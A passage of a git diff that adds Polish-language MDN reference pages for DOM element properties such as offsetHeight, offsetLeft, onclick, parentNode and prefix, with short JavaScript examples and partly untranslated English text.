+<p><em>intElemOffsetHeight</em>is a variable storing an integer corresponding to the offsetHeight pixel value of the element. offsetHeight is a read-only property.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Typically, an element's <strong>offsetHeight</strong> is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.</p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+
+<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+
+<p style="margin-top: 270px;"><img alt="grafika:offsetHeight.png"></p>
+
+<h2 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h2>
+
+<p>offsetHeight is part of the MSIE's DHTML object model. offsetHeight is not part of any W3C specification or technical recommendation.</p>
+
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+
+<p>offsetHeight is a property of the DHTML object model which was first introduced by MSIE. It is sometimes referred as an element physical/graphical dimensions or an element's box height.</p>
+
+<h2 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h2>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/offsetheight.asp?frame=true">MSDN's Definicja offsetHeight</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li>
+ <li><a class="external" href="http://www.mozilla.org/docs/dom/domref/dom_el_ref18.html">Gecko DOM Reference on offsetHeight</a></li>
+</ul>
diff --git a/files/pl/web/api/element/offsetleft/index.html b/files/pl/web/api/element/offsetleft/index.html
new file mode 100644
index 0000000000..b0252f3363
--- /dev/null
+++ b/files/pl/web/api/element/offsetleft/index.html
@@ -0,0 +1,73 @@
+---
+title: element.offsetLeft
+slug: Web/API/Element/offsetLeft
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLElement/offsetLeft
+---
+<p>{{ ApiRef("HTML DOM") }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca ilość pikseli, jaką dzieli<em>górny lewy róg</em> bieżącego elementu od lewej strony wewnątrz węzła <code><a href="pl/DOM/element.offsetParent">offsetParent</a></code>.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>left</em> =<em>element</em>.offsetLeft;
+</pre>
+
+<p><code>left</code> jest liczbą całkowitą reprezentująca przesunięcie od lewej strony podane w pikselach.</p>
+
+<h3 id="Uwaga" name="Uwaga">Uwaga</h3>
+
+<p><code>offsetLeft</code> returns the position the upper left edge of the element; not necessarily the 'real' left edge of the element. This is important for inline elements (such as <strong>span</strong>) in flowed text that wraps from one line to the next. The span may start in the middle of the line and wrap around to the beginning of the next line. The <code>offsetLeft</code> will refer to the left edge of the start of the span, not the left edge of text at the start of the second line. Therefore, a box with the left, top, width and height of <code>offsetLeft, offsetTop, offsetWidth</code> and <code>offsetHeight</code> will not be a bounding box for a span with wrapped text. (And, I can't figure out how to find the leftmost edge of such a span, sigh.)</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>var colorTable = document.getElementById("t1");
+var tOLeft = colorTable.offsetLeft;
+
+if (tOLeft &gt; 5) {
+ // duże lewe przesunięcie: zrób coś tutaj
+}
+</pre>
+
+<h3 id="Przyk.C5.82ad_2" name="Przyk.C5.82ad_2">Przykład</h3>
+
+<p>Per the note above, this example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.</p>
+
+<p><img alt="Image:offsetLeft.jpg"></p>
+
+<p><small><font color="gray">Note: This is an image of the example, not a live rendering in the browser. This was done because script elements can't be included in the wiki page.</font></small></p>
+
+<pre>&lt;div style="width: 300px; border-color:blue;
+ border-style:solid; border-width:1;"&gt;
+ &lt;span&gt;Short span. &lt;/span&gt;
+ &lt;span id="long"&gt;Long span that wraps withing this div.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="box" style="position: absolute; border-color: red;
+ border-width: 1; border-style: solid; z-index: 10"&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+ var box = document.getElementById("box");
+ var long = document.getElementById("long");
+ box.style.left = long.offsetLeft + document.body.scrollLeft;
+ box.style.top = long.offsetTop + document.body.scrollTop;
+ box.style.width = long.offsetWidth;
+ box.style.height = long.offsetHeight;
+&lt;/script&gt;
+</pre>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p><code><a href="pl/DOM/element.offsetParent">offsetParent</a></code>, <code><a href="pl/DOM/element.offsetTop">offsetTop</a></code>, <code><a href="pl/DOM/element.offsetWidth">offsetWidth</a></code>, <code><a href="pl/DOM/element.offsetHeight">offsetHeight</a></code></p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>Niestandardowa własność.</p>
diff --git a/files/pl/web/api/element/offsetparent/index.html b/files/pl/web/api/element/offsetparent/index.html
new file mode 100644
index 0000000000..c33d32b38c
--- /dev/null
+++ b/files/pl/web/api/element/offsetparent/index.html
@@ -0,0 +1,28 @@
+---
+title: element.offsetParent
+slug: Web/API/Element/offsetParent
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLElement/offsetParent
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>offsetParent</b> zwraca referencję do obiektu, który jest najbliższym (w hierarchii zawierania się elementów) pozycjonowanym elementem. Jeżeli element nie jest pozycjonowany, <b>offsetParent</b> jest wówczas korzeń dokumentu (html w trybie zgodności ze standardami; body w trybie przybliżonym).</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>parentObj</i> = element.offsetParent
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>parentObj</code> jest referencją do obiektu, względem którego przesunięty jest bieżący element.</li>
+</ul>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0.
+ <i>
+ Nie jest częścią specyfikacji.</i>
+</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.offsetParent", "fr": "fr/DOM/element.offsetParent" } ) }}</p>
diff --git a/files/pl/web/api/element/offsetwidth/index.html b/files/pl/web/api/element/offsetwidth/index.html
new file mode 100644
index 0000000000..b78d7b4136
--- /dev/null
+++ b/files/pl/web/api/element/offsetwidth/index.html
@@ -0,0 +1,70 @@
+---
+title: element.offsetWidth
+slug: Web/API/Element/offsetWidth
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLElement/offsetWidth
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<h3 id="offsetWidth" name="offsetWidth">offsetWidth</h3>
+
+<p>właściwość <abbr title="Dynamic HyperText Markup Language">DHTML</abbr>, która podaje szerokość elementu, odnosząca się do układu strony.</p>
+
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+
+<pre class="eval">var <em>intElemOffsetWidth</em> = document.getElementById(<em>id_attribute_value</em>).offsetWidth;
+</pre>
+
+<p><code>intElemOffsetWidth</code> jest zmienną przechowującą liczbę całkowitą odpowiadającą wartości <strong><code>offsetWidth</code></strong> elementu i wyrażoną w pikselach. <strong><code>offsetWidth</code></strong> jest właściwością tylko do odczytu.</p>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Zazwyczaj <strong><code>offsetWidth</code></strong> elementu obejmuje jego obramowanie, wewnętrzny margines (padding), pionowy pasek przewijania (jeśli jest obecny lub renderowany) i szerokość CSS elementu.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<div id="offsetContainer" style="margin: 26px 0px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: absolute; left: 260px;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.</p>
+
+<p><span style="float: right;"><img alt="Image:BirmanCat.jpg" class="internal" src="/@api/deki/files/2210/=BirmanCat.jpg"></span>All Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.</p>
+
+<p>Cat image and text coming from <a class="external" href="http://www.best-cat-art.com/">www.best-cat-art.com</a></p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong><em>margin-top</em><em>margin-bottom</em><em>border-top</em><em>border-bottom</em><span class="comment">{{ mediawiki.external('if IE') }}&gt;&lt;span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-left&lt;/span&gt;&lt;span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-left&lt;/span&gt;&lt;span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;padding-left&lt;/span&gt;&lt;span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;"&gt;padding-right&lt;/span&gt;&lt;span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;border-right&lt;/span&gt;&lt;span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;"&gt;margin-right&lt;/span&gt;&lt;!{{ mediawiki.external('endif') }}</span></div>
+
+<p style="margin-top: 270px;"><img alt="Image:offsetWidth.png" class="internal" src="/@api/deki/files/2468/=OffsetWidth.png"></p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><span id="result_box" lang="pl"><strong><code>offsetWidth</code></strong> jest częścią modelu obiektowego MSIE <abbr title="Dynamic HyperText Markup Language">DHTML</abbr>. <strong><code>offsetWidth</code></strong> nie jest częścią żadnej specyfikacji W3C ani rekomendacji technicznej.</span></p>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p><strong><code>offsetWidth</code></strong> jest własnością modelu obiektowego <span id="result_box" lang="pl"><abbr title="Dynamic HyperText Markup Language">DHTML</abbr></span>, który został wprowadzony przez MSIE. Czasem określany jest jako fizyczny/graficzny wymiar elementu lub jako szerokość pudełka elementu.</p>
+
+<h3 id="Dokumentacja" name="Dokumentacja">Dokumentacja</h3>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/offsetwidth.asp?frame=true">MSDN's offsetWidth definition</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/workshop/author/om/measuring.asp">MSDN's Measuring Element Dimension and Location</a></li>
+</ul>
+
+<div class="noinclude">
+<h3 id="Dokumentacja" name="Dokumentacja">Zobacz również</h3>
+</div>
+
+<ul>
+ <li><a href="/fr/DOM/element.offsetHeight" title="element.offsetHeight">element.offsetHeight</a></li>
+ <li><a href="/pl/DOM/element.clientWidth" title="element.clientWidth">element.clientWidth</a></li>
+ <li><a href="/cn/DOM/element.clientHeight" title="element.clientHeight">element.clientHeight</a></li>
+</ul>
diff --git a/files/pl/web/api/element/onclick/index.html b/files/pl/web/api/element/onclick/index.html
new file mode 100644
index 0000000000..b6215b4c00
--- /dev/null
+++ b/files/pl/web/api/element/onclick/index.html
@@ -0,0 +1,66 @@
+---
+title: element.onclick
+slug: Web/API/Element/onclick
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/GlobalEventHandlers/onclick
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Właściwość <strong>onclick</strong> zwraca kod obsługi zdarzenia <em>onClick</em> w bieżącym elemencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><em>element</em>.onclick = <em>refDoFunkcji</em>;
+</pre>
+<p>gdzie <em>refDoFunkcji</em> to nazwa funkcji zadeklarowanej gdzie indziej bądź <em>wyrażenie funkcyjne</em>. <span class="comment">Zob. <a href="/pl/Dokumentacja_języka_JavaScript_1.5/Funkcje">Funkcje</a>. - tego rodzialu jeszcze nie ma, a pod nazwa Funkcje jest cos innego</span></p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;html&gt;
+
+&lt;head&gt;
+&lt;title&gt;przykład zdarzenia onclick&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function initElement()
+ {
+ var p = document.getElementById("foo");
+
+ // Uwaga: ani showAlert();, ani showAlert(param); tu NIE zadziałają
+ // potrzebna jest referencja do funkcji, a nie wywołanie funkcji
+ p.onclick = showAlert;
+ };
+
+function showAlert()
+ {
+ alert("wykryto zdarzenie onclick!")
+ }
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+&lt;!--
+#foo {
+border: solid blue 2px;
+}
+--&gt;
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body onload="initElement()";&gt;
+&lt;span id="foo"&gt;Mój Element&lt;/span&gt;
+&lt;p&gt;Kliknij na powyższy element.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>Można również użyć funkcji bezimiennej jak poniżej:</p>
+<pre>p.onclick = function() { alert("moot!"); };
+</pre>
+<p><span class="comment">Not going to confuse poor readers with this. You could also use a the Function constructor: &lt;pre&gt; p.onclick = Function( "alert('moot!')" ); &lt;/pre&gt;</span></p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zdarzenie <em>click</em> jest wywoływane, kiedy użytkownik kliknie na element. Zdarzenie to występuje po <em>mousedown</em> i <em>mouseup</em>.</p>
+<p>Tylko jedna funkcja obsługi zdarzenia może zostać przypisana za jednym razem za pomocą tej właściwości. Możesz zamiast niej użyć metody <a href="/pl/DOM/element.addEventListener" title="pl/DOM/element.addEventListener"> addEventListener</a> - jest bardziej elastyczna i stanowi część specyfikacji DOM Events.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/element.onclick", "fr": "fr/DOM/element.onclick" } ) }}</p>
diff --git a/files/pl/web/api/element/onkeypress/index.html b/files/pl/web/api/element/onkeypress/index.html
new file mode 100644
index 0000000000..eb57c1936c
--- /dev/null
+++ b/files/pl/web/api/element/onkeypress/index.html
@@ -0,0 +1,21 @@
+---
+title: element.onkeypress
+slug: Web/API/Element/onkeypress
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/GlobalEventHandlers/onkeypress
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Właściwość <b>onkeypress</b> zawiera kod obsługi zdarzenia onKeyPress dla bieżącego elementu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">element.onkeypress = kod obsługi zdarzenia
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zdarzenie keydown wywoływane jest, gdy użytkownik naciska klawisz na klawiaturze.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
diff --git a/files/pl/web/api/element/onkeyup/index.html b/files/pl/web/api/element/onkeyup/index.html
new file mode 100644
index 0000000000..ad411b0e1a
--- /dev/null
+++ b/files/pl/web/api/element/onkeyup/index.html
@@ -0,0 +1,24 @@
+---
+title: element.onkeyup
+slug: Web/API/Element/onkeyup
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/GlobalEventHandlers/onkeyup
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Właściwość <b>onkeyup</b> zawiera kod obsługi zdarzenia <code>keyup</code> dla bieżącego elementu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">kod obsługi zdarzenia = element.onkeyup
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zdarzenie <code>keyup</code> wywoływane jest, gdy użytkownik zwalnia naciśnięty klawisz na klawiaturze.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.onkeyup", "fr": "fr/DOM/element.onkeyup" } ) }}</p>
diff --git a/files/pl/web/api/element/onmousedown/index.html b/files/pl/web/api/element/onmousedown/index.html
new file mode 100644
index 0000000000..e616906126
--- /dev/null
+++ b/files/pl/web/api/element/onmousedown/index.html
@@ -0,0 +1,23 @@
+---
+title: element.onmousedown
+slug: Web/API/Element/onmousedown
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/GlobalEventHandlers/onmousedown
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność <b>onmousedown</b> zwraca kod obsługi zdarzenia onMouseDown w bieżącym elemencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">event handling code = element.onMouseDown
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zdarzenie <code>mousedown</code> jest wywołane kiedy użytkownik naciśnie lewy przycisk.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.onmousedown", "fr": "fr/DOM/element.onmousedown" } ) }}</p>
diff --git a/files/pl/web/api/element/onmousemove/index.html b/files/pl/web/api/element/onmousemove/index.html
new file mode 100644
index 0000000000..f54256c9f7
--- /dev/null
+++ b/files/pl/web/api/element/onmousemove/index.html
@@ -0,0 +1,29 @@
+---
+title: element.onmousemove
+slug: Web/API/Element/onmousemove
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/GlobalEventHandlers/onmousemove
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Właściwość <strong>onmousemove</strong> zwraca kod obsługi zdarzenia <code>mousemove</code> w bieżącym elemencie.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval">event handling code = element.onMouseMove
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Zdarzenie <code>mousemove</code> jest wywoływane, kiedy użytkownik przesunie kursor myszy.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
diff --git a/files/pl/web/api/element/ownerdocument/index.html b/files/pl/web/api/element/ownerdocument/index.html
new file mode 100644
index 0000000000..0ecbed4869
--- /dev/null
+++ b/files/pl/web/api/element/ownerdocument/index.html
@@ -0,0 +1,30 @@
+---
+title: element.ownerDocument
+slug: Web/API/Element/ownerDocument
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/ownerDocument
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność <b>ownerDocument</b> zwraca obiekt najwyższego poziomu - dokument, w którym znajduje się bieżący węzeł.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>dokument</i> = element.ownerDocument
+</pre>
+<p><code>dokument</code> to obiekt <code>document</code>, będący rodzicem bieżącego elementu.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>// dla danego elementu "p" znajdź element HTML najwyższego poziomu
+d = p.ownerDocument;
+html = d.documentElement;
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Obiekt <code>document</code> zwracany przez tę własność jest głównym obiektem, w którym tworzone są wszystkie węzły-dzieci właściwego dokumentu HTML. Własność ta użyta na węźle, który sam jest dokumentem, zwraca <code>NULL</code></p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#node-ownerDoc">ownerDocument </a></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.ownerDocument", "fr": "fr/DOM/element.ownerDocument", "ja": "ja/DOM/element.ownerDocument" } ) }}</p>
diff --git a/files/pl/web/api/element/parentnode/index.html b/files/pl/web/api/element/parentnode/index.html
new file mode 100644
index 0000000000..ec9bbceda0
--- /dev/null
+++ b/files/pl/web/api/element/parentnode/index.html
@@ -0,0 +1,34 @@
+---
+title: element.parentNode
+slug: Web/API/Element/parentNode
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/parentNode
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Własność <b>parentNode</b> zwraca rodzica bieżącego elementu.</p>
+<h3 id="Sk.C5.82adnia_i_warto.C5.9Bci" name="Sk.C5.82adnia_i_warto.C5.9Bci">Składnia i wartości</h3>
+<pre class="eval"><i>rodzic</i> = element.parentNode
+</pre>
+<p><code>rodzic</code> jest rodzicem bieżącego węzła. Rodzicem elementu jest węzeł typu <code>Element</code>, <code>Document</code> lub <code>DocumentFragment</code>.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>text_field = document.getElementById("t");
+if ( div1.parentNode == document ){
+ text_field.setAttribute("value", "top-level");
+ // pole tekstowe wyświetli tekst "top-level" }
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><code>parentNode</code> zwraca <code>null</code> dla poniższych typów węzłów: <code>Attr</code>, <code>Document</code>, <code>DocumentFragment</code>, <code>Entity</code> i <code>Notation</code>.</p>
+<p><code>null</code> zwracane jest także, gdy węzeł został utworzony, ale nie przypisano go jeszcze do drzewa.</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+<p>{{ Domxref("element.firstChild") }}, {{ Domxref("element.lastChild") }}, {{ Domxref("element.childNodes") }}, {{ Domxref("element.nextSibling") }}, {{ Domxref("element.previousSibling") }}.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1060184317">DOM Level 2 Core: Node.parentNode</a></p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.parentNode", "fr": "fr/DOM/element.parentNode", "it": "it/DOM/element.parentNode", "ja": "ja/DOM/element.parentNode" } ) }}</p>
diff --git a/files/pl/web/api/element/prefix/index.html b/files/pl/web/api/element/prefix/index.html
new file mode 100644
index 0000000000..c5ecdac392
--- /dev/null
+++ b/files/pl/web/api/element/prefix/index.html
@@ -0,0 +1,28 @@
+---
+title: element.prefix
+slug: Web/API/Element/prefix
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/prefix
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>prefix</code> zwraca prefiks przestrzeni nazw węzła lub <code>null</code>, jeśli nie określono prefiksu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>string</i> = element.prefix
+element.prefix =<i>string</i>
+</pre>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval">&lt;x:div onclick="alert(this.prefix)"/&gt;
+</pre>
+<p>Wyświetlone zostanie "x".</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Własność ta działa tylko wtedy, gdy używany jest parser przetwarzający przestrzenie nazw, tj. gdy dokument serwowany jest z typem MIME XML. Własność nie działa dla dokumentów HTML.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-NodeNSPrefix">Node.prefix</a> (wprowadzona w DOM2)</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/element.prefix", "fr": "fr/DOM/element.prefix", "it": "it/DOM/element.prefix", "ja": "ja/DOM/element.prefix" } ) }}</p>
diff --git a/files/pl/web/api/element/previoussibling/index.html b/files/pl/web/api/element/previoussibling/index.html
new file mode 100644
index 0000000000..0199cfb1a7
--- /dev/null
